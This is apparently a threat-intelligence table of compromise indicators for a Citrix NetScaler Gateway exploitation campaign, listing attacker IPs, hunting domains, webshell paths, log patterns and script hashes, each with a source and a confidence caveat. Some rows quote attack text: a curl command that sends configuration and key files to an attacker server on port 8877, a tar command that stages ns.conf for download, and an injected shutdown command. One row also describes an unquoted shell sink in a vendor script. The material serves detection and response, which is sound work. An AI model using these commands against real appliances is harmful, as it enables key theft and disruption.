| File path | /var/tmp/c1.txt, /var/tmp/c2.txt, /var/tmp/labels.txt | Poppelgaard [75] | Stolen-config export files seen alongside the admin-persistence payload (Deyda triage script v9.43, carried in the Poppelgaard checker v1.10); the checker also hunts copies of ns.conf and the .F1.key/.F2.key key-encryption files in web or temp folders, contents not shown | From a public triage script, not a vendor report. A missing file does not rule out earlier theft; a hit means configuration data was staged - preserve and inspect securely, rotate if confirmed. | Public GitHub repository, no TLP marking |
| Log pattern | Shell history touching /flash/nsconfig/keys, F1.key/F2.key, database.php or LDAPTLS_REQCERT | Poppelgaard [75] | Key and config theft in sh.log/bash.log history (Poppelgaard checker v1.7, from Deyda); a hit before the fix means keys and passwords should be rotated | Legitimate admins touch these files too - check who ran the command and when before treating it as theft. | Public GitHub repository, no TLP marking |
| Log pattern | 1-byte nsepa.deb probes (HTTP 206) | Poppelgaard [75] | Pre-check probes for the Gateway client-package path (Gotham, via the Poppelgaard checker v1.7): a 1-byte HTTP 206 response confirms the endpoint accepts range requests before staging a fake .deb webshell | Hunting lead, not attack proof - range probes also come from download managers. Means the box was probed, not that a webshell landed. | Public GitHub repository, no TLP marking |
| IPv4 | 13.59.243.24 | Poppelgaard [75] | Gateway recon scanner that hits many Gateways for the TENEX c88771.json marker (Gotham, via the Poppelgaard checker v1.11). Amazon AWS | Hunting lead, not attack proof. AWS is shared infrastructure used by researchers and scanners alike; correlate before acting. | Public GitHub repository, no TLP marking |
| Domain | oast.fun | Poppelgaard [75] | Domain in the Poppelgaard checker v1.11 DNS-hunt list (14 domains); the checker does not state which source observed it or what it served | Low confidence and dual use: oast.fun is a known out-of-band-testing domain family used by security tooling (Interact.sh-style OAST callbacks), so a hit can be a researcher's or pentester's test, not the actor. Hunting lead only; do not block without context. | Public GitHub repository, no TLP marking |
| Domain | dnsl.cc | Poppelgaard [75] | Domain in the Poppelgaard checker v1.11 DNS-hunt list (14 domains); the checker does not state which source observed it or what it served | Single compiled list; no public source describes this domain's role in the campaign. A short generic domain whose ownership is privacy-redacted. Hunting lead only. | Public GitHub repository, no TLP marking |
| Domain | gs.thc.org | Poppelgaard [75]; TENEX [74] | Domain in the Poppelgaard checker v1.11 DNS-hunt list (14 domains); the checker does not state which source observed it or what it served | Low confidence and dual use: thc.org subdomains are associated with the Hacker's Choice gsocket reverse-shell tooling, which is used by both penetration testers and attackers (TENEX lists gsocket in the same campaign - see the gsocket rows). A hit needs correlation with other indicators before it means anything. Hunting lead only. | Public GitHub repository, no TLP marking |
| Domain | webhook.site | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75] | Request-capture service used for exfiltration in the second wave of this campaign, per Beazley Security (BSL-A1216, carried in the Poppelgaard checker v1.12 via Gotham). VirusTotal: 1 of 91 engines - expected for a legitimate dual-use service | webhook.site is a legitimate public request-inspection tool used by developers and penetration testers every day; only its abuse in this campaign makes it an indicator. Never block the service wholesale - hunt its use in NetScaler outbound logs and correlate with other campaign indicators. | Public advisory and GitHub repository, no TLP marking |
| Domain | dnshook.site | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75] | DNS-capture service used alongside webhook.site for second-wave exfiltration, per Beazley Security (BSL-A1216, via the Poppelgaard checker v1.12). VirusTotal: 12 of 91 engines | Same dual-use caveat as webhook.site: a capture service that is legitimate in other contexts. Hunt and correlate; do not blanket-block without understanding your traffic. | Public advisory and GitHub repository, no TLP marking |
| IPv4 | 51.158.203.95 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75]; Previdian (@PrevidianCyber) [77] | Second-wave exploitation infrastructure per Beazley Security (BSL-A1216, updated through 4 Oct; via the Poppelgaard checker v1.12). Previdian reports their sensors saw this IP targeting multiple vulnerabilities across their network since 25 August. WHOIS: Scaleway, Amsterdam. VirusTotal: 1 of 91 engines malicious, 2 suspicious (5 Oct) | IR observation shared with permission and relayed through two parties; the 25 Aug first-seen is Previdian's sensor observation, single-source. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. Low VT score does not prove safety. | Public advisory and GitHub repository, no TLP marking |
| IPv4 | 185.244.213.112 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75] | Second-wave exploitation infrastructure per Beazley Security (BSL-A1216, updated through 4 Oct; carried in checker v1.12 alongside 51.158.203.95 and 158.94.211.205). WHOIS: M247, Paris. VirusTotal: 0 of 91 engines (6 Oct) | IR observation shared with permission and relayed through two parties; Beazley's advisory was not reviewed directly for this entry, provenance is via the checker. Clean VT proves nothing - fresh infrastructure scores zero. | Public advisory and GitHub repository, no TLP marking |
| IPv4 | 104.207.47.54 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | Exploit delivery per Beazley Security's BSL-A1216 IoC table (attribution: Beazley Security), read directly from the advisory (updated 4 Oct). RIPE space, announced via 3xK Tech GmbH (DE). VirusTotal (6 Oct): 1 of 92 engines malicious, 1 suspicious (analysis 29 Sep). VT report: https://www.virustotal.com/gui/ip-address/104.207.47.54 | Beazley IR observation; attacker IPs can be unique to one victim and absence elsewhere is not proof of a clean host. Low VT score proves nothing - fresh infrastructure. | Public advisory |
| IPv4 | 104.207.46.202 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | Exploit delivery per Beazley Security's BSL-A1216 IoC table (Beazley Security), read directly from the advisory (updated 4 Oct). RIPE space, announced via 3xK Tech GmbH (DE). VirusTotal (6 Oct): 0 of 92 engines, 3 suspicious (analysis 6 Oct). VT report: https://www.virustotal.com/gui/ip-address/104.207.46.202 | Beazley IR observation; attacker IPs can be unique to one victim and absence elsewhere is not proof of a clean host. Clean VT proves nothing. | Public advisory |
| IPv4 | 104.207.32.77 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | Exploit delivery per Beazley Security's BSL-A1216 IoC table (Beazley Security), read directly from the advisory (updated 4 Oct). RIPE space, announced via 3xK Tech GmbH (DE). VirusTotal (6 Oct): 1 of 92 engines malicious, 1 suspicious - but the analysis dates to 26 June, before this campaign, so the flags may predate any campaign role. VT report: https://www.virustotal.com/gui/ip-address/104.207.32.77 | Beazley IR observation; attacker IPs can be unique to one victim and absence elsewhere is not proof of a clean host. The VT signal is stale relative to the campaign. | Public advisory |
| IPv4 | 158.94.211.205 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Poppelgaard [75] | Callback server on port 8080 per checker v1.12 (Beazley Security second wave, BSL-A1216); also in the checker's attacker-IP list. RIPE space (158.94.0.0/16). VirusTotal: 3 of 91 engines malicious, 4 suspicious (6 Oct) | IR observation shared with permission and relayed through two parties; Beazley's advisory was not reviewed directly for this entry, provenance is via the checker. A callback server IP can be unique to one victim. | Public advisory and GitHub repository, no TLP marking |
| IPv4 | 138.199.60.5 | Poppelgaard [75] | Attacker IP that sent CVE-2026-88779 crash payloads to /saml/login and /cgi/samlauth on 5 October, per Gotham Technology Group's 5 Oct update (shared with permission; carried in checker v1.13, now 105 attacker IPs). RIPE space. VirusTotal: 7 of 91 engines malicious, 2 suspicious (6 Oct) | IR observation shared with permission and relayed through two parties. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 138.199.60.22 | Poppelgaard [75] | Huntback.io decoy that sent the CVE-2026-88771 NX-CVE-OK / nx_verify.html injection check, per checker v1.13 (4 Oct). RIPE space (same /24 neighbourhood as 138.199.60.5). VirusTotal: 3 of 91 engines malicious, 4 suspicious (6 Oct) | Decoy/honeypot operators also run injection checks - a hit can be researcher traffic. Correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 138.199.60.36 | Poppelgaard [75] | Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. VirusTotal: 2 of 91 engines malicious (6 Oct) | Decoy/honeypot caveat as for 138.199.60.22. | Public GitHub repository, no TLP marking |
| IPv4 | 146.70.199.170 | Poppelgaard [75] | Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. RIPE space (Inferno Solutions-adjacent ranges). VirusTotal: 0 of 91 engines, 2 suspicious (6 Oct) | Decoy/honeypot caveat as for 138.199.60.22; clean VT proves nothing. | Public GitHub repository, no TLP marking |
| IPv4 | 146.70.211.157 | Poppelgaard [75] | Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. VirusTotal: 2 of 91 engines malicious (6 Oct) | Decoy/honeypot caveat as for 138.199.60.22. | Public GitHub repository, no TLP marking |
| IPv4 | 23.162.8.173 | Poppelgaard [75] | Huntback.io decoy that sent the CVE-2026-88771 nx_verify.html injection check, per checker v1.13. VirusTotal: 0 of 91 engines, 1 suspicious (6 Oct) | Decoy/honeypot caveat as for 138.199.60.22; clean VT proves nothing. | Public GitHub repository, no TLP marking |
| IPv4 | 38.60.206.53 | Poppelgaard [75] | One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (carried in checker v1.13 as a yellow hunting lead). WHOIS: Cogent Communications (COGENT-A block, KAOPU-CGNT-NET-2 subnet); announced via AS154177 Light Node Limited per BGP. VirusTotal: insufficient data (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/38.60.206.53 | Hunting lead: a pre-disclosure GET to the SAML endpoints is a strong lead but not attack proof - monitoring services also poll these endpoints. | Public GitHub repository, no TLP marking |
| IPv4 | 38.60.212.144 | Poppelgaard [75] | One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (checker v1.13 hunting lead). WHOIS: Cogent Communications (COGENT-A block, KAOPU-CGNT-NET-2 subnet); announced via AS154177 Light Node Limited per BGP. VirusTotal: 4 of 91 engines malicious (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/38.60.212.144 | Hunting lead, as for 38.60.206.53. | Public GitHub repository, no TLP marking |
| IPv4 | 149.102.254.17 | Poppelgaard [75] | One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (checker v1.13 hunting lead). WHOIS: Cogent Communications (DATACAMP-CGNT-NET-4 subnet - Cogent downstream carrying Datacamp/CDNEXT space, AS212238 per BGP). VirusTotal: 2 of 91 engines malicious (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/149.102.254.17 | Hunting lead, as for 38.60.206.53. | Public GitHub repository, no TLP marking |
| IPv4 | 130.94.19.84 | Poppelgaard [75] | One of four sources that sent GET /saml/login before CVE-2026-88779 was disclosed, per Gotham's 5 Oct update (checker v1.13 hunting lead). WHOIS: NTT America (NTTA-130-94 block, LIGHTNODE sub-allocation - the AS154177 Light Node space). VirusTotal: 0 of 91 engines, 1 suspicious (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/130.94.19.84 | Hunting lead, as for 38.60.206.53; clean VT proves nothing. | Public GitHub repository, no TLP marking |
| User-Agent | probe/1 | Poppelgaard [75] | User-Agent of a SAML probe seen by Lupovis on 17 September - before CVE-2026-88779 was public: a ~2.8 KB SAMLRequest that inflates to 62 KiB of padding and binary, sent to /saml/login or /cgi/samlauth (checker v1.13 adds this as a [CHECK] hunt) | Hunting lead, never red on its own (the checker's own words): one probe does not prove targeting, and other tools may send short probe/1 requests. The inflated-SAMLRequest shape is the discriminator. | Public GitHub repository, no TLP marking |
| IPv4 | 81.94.239.8 | Poppelgaard [75] | Exfil server (port 8877) of a config-theft payload seen in the field (checker v1.14, 6 Oct): the payload writes ns.conf and every /nsconfig/ssl/*.key into a random 6-character .css file in /var/netscaler/logon/LogonPoint (e.g. 74tns8.css), sends it with curl --data-binary to 81.94.239.8:8877, then the attacker downloads the .css from the Gateway. WHOIS: DEAC Hosting, Latvia. VirusTotal (6 Oct): 1 of 92 engines malicious. VT report: https://www.virustotal.com/gui/ip-address/81.94.239.8 | Single third-party field report carried in the checker; unverified by any vendor or CERT. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. If a dump succeeded, rotate all keys, certificates and passwords. | Public GitHub repository, no TLP marking |
| Pattern | Random 6-character .css in /var/netscaler/logon/LogonPoint/ (e.g. 74tns8.css) | Poppelgaard [75] | Config/key dump marker per checker v1.14: any file under the web folders (any extension) holding ===CONF: / ===KEY: markers, a private key or ns.conf lines is flagged as compromise (the theft payload ran). A GET for a random 6-char .css in LogonPoint: HTTP 404 means the dump never landed (attempt failed); HTTP 200 means the file existed and was downloaded | Hunt pattern from the checker's field report, not a vendor publication. A missing file does not rule out an earlier dump. A 200 pick-up or a dump file hit is a strong key-exposure signal: preserve the file, investigate and correlate, and rotate all keys, certificates and passwords. | Public GitHub repository, no TLP marking |
| Exploit string | curl --data-binary @<file> ... :8877/ | Poppelgaard [75] | Attack text of the config-theft payload per checker v1.14 (also matched by the v1.13 download-host and source-IP notes) | Attack-string lead; a match means targeting, file existence and HTTP-log pick-ups decide execution. | Public GitHub repository, no TLP marking |
| File path | .php / .phtml under /var/netscaler/logon and /var/vpn; one-line webshells calling a request parameter as a function; setuid/setgid programs under /var, /tmp, /nsconfig, /flash, /home, /root; /var/rgroupadd; LogonPoint/uiareas/linux/gnuplot.php | Poppelgaard [75] | Checker v1.14 compromise checks from community pull requests #4/#5 (feiglein74): any .php/.phtml under those paths; PHP files the Apache error log shows running or that still exist (first and last date shown; only-blocked scanner requests for non-existing names listed as OK); setuid/setgid programs in those directories; and two field finds from Citrix's own IoC scan - a 2023 CVE-2023-3519-wave webshell at LogonPoint/uiareas/linux/gnuplot.php and a setuid backdoor at /var/rgroupadd. POSTs to PHP names count as webshell use when the file exists or ran, otherwise a yellow hunting lead. Also: files a payload dropped in the web folders that were downloaded with HTTP 200 | Field findings from a community contributor, compiled in the checker; no vendor report publishes gnuplot.php or /var/rgroupadd. On a hit: preserve the file and investigate and correlate (file dates, request logs) before concluding compromise - the CVE-2023-3519 shell in particular may be a leftover from the 2023 wave rather than this campaign. | Public GitHub repository, no TLP marking |
| File name | loot_* upload staging files and agent.pl cron lines | Poppelgaard [75] | Upload staging files (loot_*) and agent.pl cron persistence lines of the SAML-attack kit, flagged as compromise per the Poppelgaard checker v1.12 (kit generations 2-3; also checked in /nsconfig/.slap) | From the checker's compiled community analysis; no vendor report publishes these names. A hit: preserve the file and investigate and correlate the finding before concluding compromise. A missing file proves nothing. | Public GitHub repository, no TLP marking |
| Log string | nsshutdown -R | Poppelgaard [75] | Attack text in injected commands per the Poppelgaard checker v1.12 (via Gotham Technology Group): forces an appliance shutdown/reboot | Attack-string lead from a compiled checker list; a match means targeting, not proof of execution. | Public GitHub repository, no TLP marking |
| File path | x.sh in /, /tmp or /var/tmp | Poppelgaard [75]; Unit 42 (Palo Alto Networks) [153]; Arctic Wolf [72] | Payload shell file locations flagged as compromise per the Poppelgaard checker v1.11 (Unit 42 / Arctic Wolf family; /download/x.sh is the download path) | Compiled checker check over published vendor indicators. A hit: preserve the file and investigate and correlate the finding before concluding compromise. A missing file does not rule out execution or cleanup. | Public GitHub repository, no TLP marking |
| File path | /vpn/c (stolen-config archive in Gateway web folders) | Poppelgaard [75]; Rapid7 ETR [68] | Stolen-config archive path in the Gateway web folders per the Poppelgaard checker v1.11; a web request returning HTTP 200 is flagged as compromise by the checker (the ns.conf archive with keys was likely downloaded). Rapid7 independently documents this exact mechanism: the 20 Sep injection ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig, and any unauthenticated GET https://<gateway>/vpn/c then returns the archive | Compiled checker check, now vendor-corroborated by Rapid7 MDR. A 200 hit is a strong config/key-theft signal: preserve evidence and rotate keys and passwords. A 404 does not prove the archive was never taken. | Public GitHub repository, no TLP marking |
| File path | /var/nstmp/.nscache, /tmp/.init, changed portal templates, [% in bookmarks | Poppelgaard [75] | Leftovers of the 2020 NOTROBIN backdoor checked per the Poppelgaard checker v1.11 - reused or re-observed in this campaign as compromise signals | Historical NOTROBIN artefacts; a hit indicates the 2020 backdoor or its reuse, correlate before attributing to this campaign. | Public GitHub repository, no TLP marking |
| Log string | Web requests to /nsconmsg | Poppelgaard [75] | Per the Poppelgaard checker v1.11: nsconmsg is a CLI tool, never a web path - any web request to it is flagged as compromise (Corelight, via Gotham, saw it with webshell use) | Compiled checker check; robust signal, but proxy/crawler noise on odd paths is possible - correlate with webshell indicators before concluding compromise. | Public GitHub repository, no TLP marking |
| User-Agent | K:<base64># | Poppelgaard [75] | Base64 payload staged in a K:<base64># User-Agent (1 October variant without the pitboss marker), per the Poppelgaard checker v1.11; the base64 content is decoded for review | Hunting lead; decode and correlate with the injected-command family before acting. | Public GitHub repository, no TLP marking |
| User-Agent | Team-NetScaler-Inventory | Poppelgaard [75] | Fake User-Agent on /download/x.sh requests, per the Poppelgaard checker v1.11 | Hunting lead from a compiled checker list; not seen in vendor reporting. | Public GitHub repository, no TLP marking |
| File path | /var/netscaler/.ns_suidcmd | Poppelgaard [75]; Unit 42 (Palo Alto Networks) [153] | SUID command-helper artefact associated with the Unit 42 .deb webshell family, checked as compromise per the Poppelgaard checker v1.11 | Compiled checker check over Unit 42's published research; a hit: preserve the file and investigate and correlate before concluding compromise. A missing file does not rule out the webshell. | Public GitHub repository, no TLP marking |
| SHA-256 | fb7f574a4c185fa8e520c47280939ce22899243a0083ee7120b7300c43baca29 | Poppelgaard [75]; Martin's Blog (mac.sploit.dk) [63] | SHA-256 of the VULNERABLE ns_monuploadd_err.pl maintenance script as shipped in 14.1-73.30 (the Poppelgaard checker checks for this copy on fixed builds: finding it there means the file was put back or the upgrade did not replace it - the CVE-2026-88771 execution path is still open). Martin's Blog independently hashes the same file in its 29 Sep build-diff analysis and documents the source-to-shell path: the -WR branch greps for pitboss failure lines, derives a core-file name from everything after the final NSPPE token, and interpolates it unquoted into a Perl backtick (shell sink); a strict NSPPE-<nn> (PID) regex, list-form open and a path allowlist replace this on 73.37 | This is the hash of Citrix's own vulnerable maintenance script, not malware - its presence on a fixed build is an upgrade/remediation failure signal, not directly attacker infrastructure. Compare with a clean appliance of the same build and contact Citrix Support. | Public GitHub repository, no TLP marking |
| SHA-256 | 02b24a9923a6cee1fbee48137b7f81b7e0f5169246728b7368fc3a066c43a708 | Martin's Blog (mac.sploit.dk) [63] | SHA-256 of the FIXED ns_monuploadd_err.pl as shipped in 14.1-73.37 (Martin's Blog 29 Sep build-diff): strict pitboss NSPPE-<nn> (PID) regex instead of the permissive grep, list-form open calling find without a shell, and a path-character allowlist; attacker-shaped usernames produce no filename on this version. Useful to verify a running script is actually the fixed copy | Hash of a vendor script, not an IoC. Build archives change with signature sections - verify against the hash of the build you actually run, not a downloaded package name. | Public blog, no TLP marking |
| Log pattern | Failed logins from four password-spray sources | Poppelgaard [75] | Four password-spray source IP groups carried in the Poppelgaard checker v1.11 log checks (failed-login hunting) | Hunting lead from the compiled checker list; the checker does not name the four sources publicly. Failed logins alone are common noise - correlate with campaign indicators. | Public GitHub repository, no TLP marking |
| File name | *.receiver (randomly named) in LogonPoint | Poppelgaard [75] | Randomly named .receiver webshell copies in the LogonPoint/web folders, reported as compromise per checker v1.13 (Huntback.io) - extending the known .ctxs.receiver and .slap.receiver families; requests for any *.receiver file in LogonPoint count as webshell probing | Pattern from a public checker, not a vendor report. A *.receiver file is a strong compromise signal: preserve the file and investigate and correlate before concluding compromise; upgrading does not remove it. | Public GitHub repository, no TLP marking |
| IPv4 | 185.218.86.25 | Poppelgaard [75] | Gateway recon scanner during the 2 Oct SAML crash wave, per the Gotham hunt list of 3 Oct (r/Citrix 2 Oct; carried in the Poppelgaard checker v1.12) alongside two sources reported in Gateway logs in the same wave: 79.141.161.139 (Host Europe/Bulgaria hosting) and 216.252.238.222 (THC Servers Global / AS40676 Psychz). WHOIS: TC Datacenter Limited. VirusTotal: 10 of 91 engines malicious, 7 suspicious (5 Oct) | The checker itself labels these hunting leads, not attack proof. Scan sources are often rented scanners shared across campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 79.141.161.139 | Poppelgaard [75] | Source reported in Gateway logs during the 2 Oct SAML crash wave, per the Gotham hunt list (carried in the Poppelgaard checker v1.12 as a hunting lead). WHOIS: HZ Hosting (Bulgaria). VirusTotal: 0 of 91 engines (5 Oct) | Hunting lead, not attack proof; clean VT score proves nothing. Hosted on bulletproof-adjacent hosting commonly rented for scanners. | Public GitHub repository, no TLP marking |
| IPv4 | 216.252.238.222 | Poppelgaard [75] | Source reported in Gateway logs during the 2 Oct SAML crash wave, per the Gotham hunt list (carried in the Poppelgaard checker v1.12 as a hunting lead). RIPE netname US-THCSERVERSGLOBAL, THC Servers Global; announced by AS40676 Psychz Networks. VirusTotal: 11 of 91 engines malicious, 2 suspicious (5 Oct) | Hunting lead, not attack proof. Small-hosting space often shared across campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 159.203.33.46 | Poppelgaard [75] | pitboss command-injection source seen on a production HA pair on 28-29 Sep, reported in pull request #1 to the Poppelgaard checker (v1.12; tester feiglein74). WHOIS: DigitalOcean. VirusTotal: 7 of 91 engines malicious, 3 suspicious (5 Oct) | First-hand but single-report observation, published via a community PR. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 139.162.83.159 | Poppelgaard [75] | Gotham Technology Group incident-response observation (2 Oct, shared with permission; carried in the Poppelgaard checker v1.11): recon sweeps, webshell/marker-file pollers, payload senders, callback or exfiltration servers. Linode (Akamai). VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/139.162.83.159 | IR observation shared with permission and relayed through the checker. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 139.162.75.170 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Linode (Akamai). VirusTotal: 2 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/139.162.75.170 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 207.148.105.57 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Vultr. VirusTotal: 0 of 92 engines (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/207.148.105.57 | As for 139.162.83.159. Clean VT proves nothing - fresh infrastructure scores zero. | Public GitHub repository, no TLP marking |
| IPv4 | 64.176.71.42 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. The Constant Company (Vultr-adjacent). VirusTotal: 3 of 92 engines malicious, 2 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/64.176.71.42 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 194.127.166.126 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. OWL IPv4 Japan allocation. VirusTotal: 0 of 92 engines, 2 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/194.127.166.126 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 91.199.163.55 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Small RIPE allocation (netname rx1, registered Feb 2026 under digi-cloud.net / Linama contact; announced via AS209272 Alviva Holding per BGP). Also a Huntback.io decoy per checker v1.13. VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/91.199.163.55 | As for 139.162.83.159; a decoy operator may also run injection checks - correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 103.214.20.54 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Ransom IT Trust AU allocation (announced via AS136557 Host Universal Pty / HostRoyale per BGP). VirusTotal: 0 of 92 engines, 5 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/103.214.20.54 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 109.136.126.142 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Proximus NV (Belgian consumer/ISP). Also a Huntback.io decoy per checker v1.13. VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/109.136.126.142 | As for 139.162.83.159; consumer/ISP address - likely a compromised device or residential proxy; do not block on it. | Public GitHub repository, no TLP marking |
| IPv4 | 79.133.42.141 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. RIPE netname DE-ACCELERATED, org firstcolo GmbH (Germany); routed via AS214036 Ultahost per BGP. VirusTotal: 1 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/79.133.42.141 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 146.70.199.53 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. M247 Ltd Singapore space. VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/146.70.199.53 | As for 139.162.83.159. M247 ranges are heavily used by commercial VPN exits - a hit can be an ordinary VPN user; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 135.136.98.176 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. M247 Ltd Singapore space. VirusTotal: 0 of 92 engines (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/135.136.98.176 | As for 139.162.83.159, with the M247 VPN-exit caveat. | Public GitHub repository, no TLP marking |
| IPv4 | 170.64.143.206 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 3 of 92 engines malicious, 2 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/170.64.143.206 | As for 139.162.83.159. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 165.227.228.21 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 3 of 92 engines malicious, 3 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/165.227.228.21 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 139.59.86.242 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean (APNIC space). VirusTotal: 1 of 92 engines malicious, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/139.59.86.242 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 159.223.233.184 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 1 of 92 engines malicious, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/159.223.233.184 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 64.227.181.23 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 2 of 92 engines malicious, 4 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/64.227.181.23 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 85.11.187.35 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. SINO WORLDWIDE TRADING (Norway-announced). VirusTotal: 8 of 92 engines malicious, 4 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/85.11.187.35 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 66.173.222.26 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Windstream Communications (US, CAVTEL block). VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/66.173.222.26 | As for 139.162.83.159. Business-ISP address: likely a compromised host; do not block on it. | Public GitHub repository, no TLP marking |
| IPv4 | 185.231.33.46 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DataShield (Seychelles). VirusTotal: 10 of 92 engines malicious, 5 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/185.231.33.46 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 5.83.144.60 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. RIPE netname Ucartz_Online (Ucartz Online Pvt Ltd, India); BGP-routed via GorillaServers (AS53850). VirusTotal: 3 of 92 engines malicious, 3 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/5.83.144.60 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 167.88.172.6 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. WHOIS netname PONYNET-10, FranTech Solutions; also within RouterHosting space (AS14956 RouterHosting LLC). VirusTotal: 0 of 92 engines (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/167.88.172.6 | As for 139.162.83.159. FranTech is a privacy host commonly rented for anonymity; clean VT proves nothing. | Public GitHub repository, no TLP marking |
